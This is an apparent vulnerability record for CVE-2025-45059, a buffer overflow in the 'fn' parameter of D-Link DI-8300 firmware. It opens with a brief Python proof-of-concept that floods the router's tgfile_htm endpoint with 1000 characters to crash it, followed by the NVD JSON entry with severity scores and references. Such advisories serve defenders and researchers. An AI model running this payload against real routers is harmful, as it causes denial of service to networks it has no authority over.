CVE-2025-45059

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/tgfile_htm" # Generate payload to trigger buffer overflow # Sending a large string (e.g., 1000 'A's) to overflow the buffer payload = "A" * 1000 try: # Send malicious request with the 'fn' parameter response = requests.get(target_url, params={"fn": payload}, timeout=5) print(f"Request sent. Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Possible DoS triggered or connection refused: {e}")

{"cve": {"id": "CVE-2025-45059", "sourceIdentifier": "[email protected]", "published": "2026-04-08T18:24:45.840", "lastModified": "2026-04-10T21:15:23.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DI-8300 v16.07.26A1 was discovered to contain a buffer overflow via the fn parameter in the tgfile_htm function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:di-8300_firmware:16.07.26a1:*:*:*:*:*:*:*", "matchCriteriaId": "703A6A50-00DA-482E-925C-01463CE0CF64"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:di-8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "037DA05B-D471-42A3-B7EE-E341C716D7CB"}]}]}], "references": [{"url": "https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8300", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}